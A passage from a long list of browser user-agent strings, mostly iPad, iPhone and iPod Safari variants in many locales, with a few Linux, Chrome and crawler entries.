Mobile/13F69 Safari/601.1 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; de-de) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7W367a Safari/531.21.10 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.1021.10gin_lib.cc Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es-es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B360 Safari/531.21.10 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es-es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 Mozilla/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B500 Mozilla/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/53 Mozilla/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; zh-cn) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B500 Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.1 Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ko-kr) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8C148 Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ru-ru) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5 Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5 Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F191 Safari/6533.18.5 Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; fr-fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5 Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; nl-nl) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5 Mozilla/5.0 (iPad; U; CPU iPad OS 5_0_1 like Mac OS X; en-us) AppleWebKit/535.1+ (KHTML like Gecko) Version/7.2.0.0 Safari/6533.18.5 Mozilla/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10 Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 2_0 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F135 Safari/525.20 Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11 Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.11 (KHTML, like Gecko) Version/3.1.1 Mobile/7A238j Safari/525.20 Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7D11 Safari/531.21.10 Mozilla/5.0 (iPhone; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16 Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/18.0.130791545 Mobile/14A5345a Safari/600.1.4 Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A346 Safari/602.1 Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5362a Safari/604.1 Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25 Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12H321 Safari/600.1.4 Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1 Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10 Mozilla/5.0 (iPhone; U; CPU comme Mac OS X; en) AppleWebKit/420 + (KHTML, comme Gecko) Version/3.0 Mobile/1A543 Safari/419.3 Mozilla/5.0 (iPhone; U; CPU iPhone OS 1_2_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5A347 Safari/525.200 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0_1 like Mac OS X; en) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5B108 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0_2 like Mac OS X; nl-nl) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5C1 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5F136 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_1 like Mac OS X; it-it) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F136 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_1 like Mac OS X; zh-cn) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F136 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_1 like Mac OS X; zh-tw) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F136 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_1 like Mac OS X;en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F136 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5G77 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5G77 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X;fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OX;fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F136 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-gb) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5B108 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F136 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; ja-jp) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; nb-no) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; pt-br) AppleWebKit/525.18.1 (KHTML, like Gecko) Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; ru-ru) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; sv-se) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; zh-tw) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11 Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; zh-tw) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.1 (KHTML, like Gecko) Version/3.1.1 Mobile/7A205d Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.11 (KHTML, like Gecko) Version/3.1.1 Mobile/7A238j Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.11 (KHTML, like Gecko) Version/3.1.1 Mobile/7A238k Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/3.1.1 Mobile/7A259g Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/3.1.1 Mobile/7A280f Safari/525.20 Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16 Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; ko-kr) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16 Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7C97d Safari/528.16 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/531.22.7 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; zh-tw) AppleWebKit/532.9 (KHTML, like Gecko) Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B5097d Safari/6531.22.7 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1_1 like Mac OS X; en-en) AppleWebKit/548.18 (KHTML, like Gecko) Version/4.0 Mobile/8F12 Safari/548.16 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; fi-fi) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; fi-fi) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; fr-fr) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/8C148a Safari/528.16 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; it-it) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; nb-no) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; ru-ru) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8F190 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; fr-fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; pl-pl) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_1 like Mac OS X; zh-tw) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5 Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; da-dk) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3 Mozilla/5.0 (iPhone; U; CPU iPhone OS) (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html) Mozilla/5.0 (iPhone; U; CPU iPhone OS2_2 like Mac OS X;fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20 Mozilla/5.0 (iPhone; U; CPU like Mac OS X) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/4A93 Safari/419. Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420 (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420 (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420 (KHTML, like Gecko) Version/3.0 Mobile/1C28 Safari/419.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A538a Safari/419.3 FirePHP/0.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3B48b Safari/419.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/4A102 Safari/419.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; es) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3A109a Safari/419.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; fr) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; nl-nl) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3A109a Safari/419.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; sv-se) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3A109a Safari/419.3 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; zh-tw) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1C28 Safari/419.3 Mozilla/5.0 (iPhone; U; Linux i686; pt-br) AppleWebKit/532+ (KHTML, like Gecko) Version/3.0 Mobile/1A538b Safari/419.3 Midori/0.2.0 Mozilla/5.0 (iPhone; U; fr; CPU iPhone OS 4_2_1 like Mac OS X; fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5 Mozilla/5.0 (iPhone; U; ru; CPU iPhone OS 4_2_1 like Mac OS X; fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5 Mozilla/5.0 (iPhone; U; ru; CPU iPhone OS 4_2_1 like Mac OS X; ru) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5 Mozilla/5.0 (iPod touch; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML like Gecko) Version/7.0 Mobile/11D167 Safari/123E71C Mozilla/5.0 (iPod; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12H143 Safari/600.1.4 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_1_1 like Mac OS X; ja-jp) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F138 Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77a Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77a Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; it-it) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; ja-jp) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77a Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; ko-kr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; ko-kr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77a Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11a Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-au) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11a Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; es-es) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; ko-kr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; ko-kr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; pl-pl) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; sv-se) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20 Mozilla/5.0 (iPod; U; CPU iPhone OS 3_0 like Mac OS X; de-de) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16 Mozilla/5.0 (iPod; U; CPU iPhone OS 3_0 like Mac OS X; ja-jp) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16 Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Mobile/7C145 Mozilla/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; he-il) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5 Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5 Mozilla/5.0 (iPod; U; CPU iPhone OS 6_1 like Mac OS X; en-HK) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/3.9174IP Mobile Mozilla/5.0 (ipad Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.498.0 Safari/534.6 Mozilla/5.0 (research@mediatrec.com) Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0 Mozilla/5.0 (wgao@genieknows.com) Mozilla/5.0 ArchLinux (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.60 Safari/534.30 Mozilla/5.0 Galeon/1.0.2 (X11; Linux i686; 